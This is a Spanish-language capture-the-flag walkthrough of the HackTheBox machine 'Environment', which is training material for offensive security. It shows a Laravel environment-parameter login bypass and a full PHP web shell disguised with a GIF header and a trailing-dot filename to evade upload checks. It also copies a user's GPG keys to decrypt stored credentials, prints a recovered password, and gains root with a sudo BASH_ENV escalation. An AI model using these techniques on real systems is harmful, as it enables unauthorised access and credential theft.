Environment



Enumeración:

───────┬──────────────────────────────────────────────────────────────────────────
       │ File: targeted
───────┼──────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Thu Jun 26 20:21:45 2025 as: /usr/lib/nmap/nma
       │ p --privileged -sC -sV -p22,80 -oN targeted 10.10.11.67
   2   │ Nmap scan report for environment.htb (10.10.11.67)
   3   │ Host is up (0.15s latency).
   4   │ 
   5   │ PORT   STATE SERVICE VERSION
   6   │ 22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
   7   │ | ssh-hostkey: 
   8   │ |   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
   9   │ |_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
  10   │ 80/tcp open  http    nginx 1.22.1
  11   │ |_http-title: Save the Environment | environment.htb
  12   │ |_http-server-header: nginx/1.22.1
  13   │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  14   │ 
  15   │ Service detection performed. Please report any incorrect results at https
       │ ://nmap.org/submit/ .
  16   │ # Nmap done at Thu Jun 26 20:22:01 2025 -- 1 IP address (1 host up) scann
       │ ed in 15.14 seconds

Entramos a ver la web:

  • A simple vista no podemos ver mucho.


Enumeración de rutas, archivos ocultos y recursos accesibles mediante herramientas de fuerza bruta como feroxbuster y dirsearch, con el objetivo de identificar superficies de ataque en aplicaciones web.

  • Se encontró un login:

Manipulación del entorno a través de parámetros GET en Laravel

  • Lo pasamos al Burp Suite:

  • Cambiamos el parametro remembe=true por false o puede ser cualquier valor

¿Porqué pasa esto?

🎯 ¿Qué significa esto para ti (pentester o dev)?

  1. Solo funcionan los valores literales 'True' o 'False'

    • True (con T mayúscula)

    • False (con F mayúscula)

    • No sirven: true, false, 1, 0, yes, etc.

  2. ⚠️ Si envías cualquier otro valor (o no envías nada), $keep_loggedin no se define, y eso puede:

    • Romper la ejecución (error como el que ya viste: Undefined array key "remember")

    • Generar una lógica impredecible más adelante

    • Exponerte a un error o vulnerabilidad de flujo (lógica rota)

  3. 🧠 Como atacante, puedes usar eso para:

    • Provocar errores

    • Observar cómo el servidor reacciona a condiciones inesperadas

    • Inferir comportamientos internos por omisión de lógica de control


✅ Buenas prácticas (para desarrolladores):

Esto se solucionaría así:

$remember = $_POST['remember'] ?? 'False';

if ($remember === 'True') {
    $keep_loggedin = true;
} else {
    $keep_loggedin = false;
}
// No hay un "else" para cualquier otro valor

Este código significa que en Laravel , si el entorno actual es "preprod"(entorno de preproducción), iniciará sesión automáticamente como user_id = 1usuario y saltará a la página de administración en segundo plano.


  • Buscamos un payload:

📌 ¿Qué pasa si usas ?--env=preprod?

Laravel, al ser ejecutado con artisan o incluso con algunas malas configuraciones, podría interpretar ese parámetro como si fuera una opción CLI debido a cómo internamente usa Symfony Console y componentes relacionados.

Esto puede causar:

  • Que Laravel piense que está en modo preprod

  • Activar condiciones como esta:

if(App::environment() == "preprod") {
    // ¡Login directo como admin!
    $request->session()->regenerate();
    $request->session()->put('user_id', 1);
    return redirect('/management/dashboard');
}

Se puede acceder al usuario user_id=1:


Carga de archivos

Nuestro código:

🔧 Cómo funciona:
  1. Nombre: shell.gif.php. (ese punto final evade validaciones que esperan .php como última extensión).

  2. Cabecera: Se añade GIF87a al inicio → Es la cabecera mágica de imágenes .gif, para engañar la detección MIME.

  3. Código PHP incluido después de la cabecera → se ejecuta normalmente si el servidor interpreta .php. como PH

GIF87a
<html>
  <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
      <input type="text" name="cmd" id="cmd" size="80">
      <input type="submit" value="Execute">
    </form>
    <pre>
<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
    </pre>
  </body>
  <script>
    document.getElementById("cmd").focus();
  </script>
</html>

Lo cargamos:

Subido con Exitó:

Para verificar entramos por la web a ver el archivo subido:

Enviar el comando de reverse shell desde el formulario

Listo:

Desencriptar archivos .gpg

Exploración de archivos sensibles en el home del usuario hish

Estando como www-data (shell web):

cd /home/hish/backup
ls -al

➡️ Encuentra un archivo keyvault.gpg, probablemente encriptado con GPG.


Copiar el directorio .gnupg del usuario hish

Ya que no tiene permisos para usar .gnupg directamente, lo copia a /tmp:

cp -r /home/hish/.gnupg /tmp/mygnupg
chmod -R 700 /tmp/mygnupg

🔐 Este directorio contiene claves privadas necesarias para desencriptar archivos .gpg.

Verificar que existen claves privadas:

gpg --homedir /tmp/mygnupg --list-secret-keys

Desencriptar keyvault.gpg usando las claves copiadas

gpg --homedir /tmp/mygnupg --output /tmp/message.txt --decrypt /home/hish/backup/keyvault.gpg

Esto genera un archivo message.txt con contraseñas almacenadas en texto plano.

La contraseña de hish para el sistema es marineSPm@ster!!

Privilege Escalation via BASH_ENV and env_keep in sudo

Y si tienes el permiso especial con BASH_ENV, usas el bypass para root:

echo 'bash -p' > exp.sh
chmod +x exp.sh
sudo BASH_ENV=./exp.sh /usr/bin/systeminfo

¡Boom! Ahora eres root y puedes:


Last updated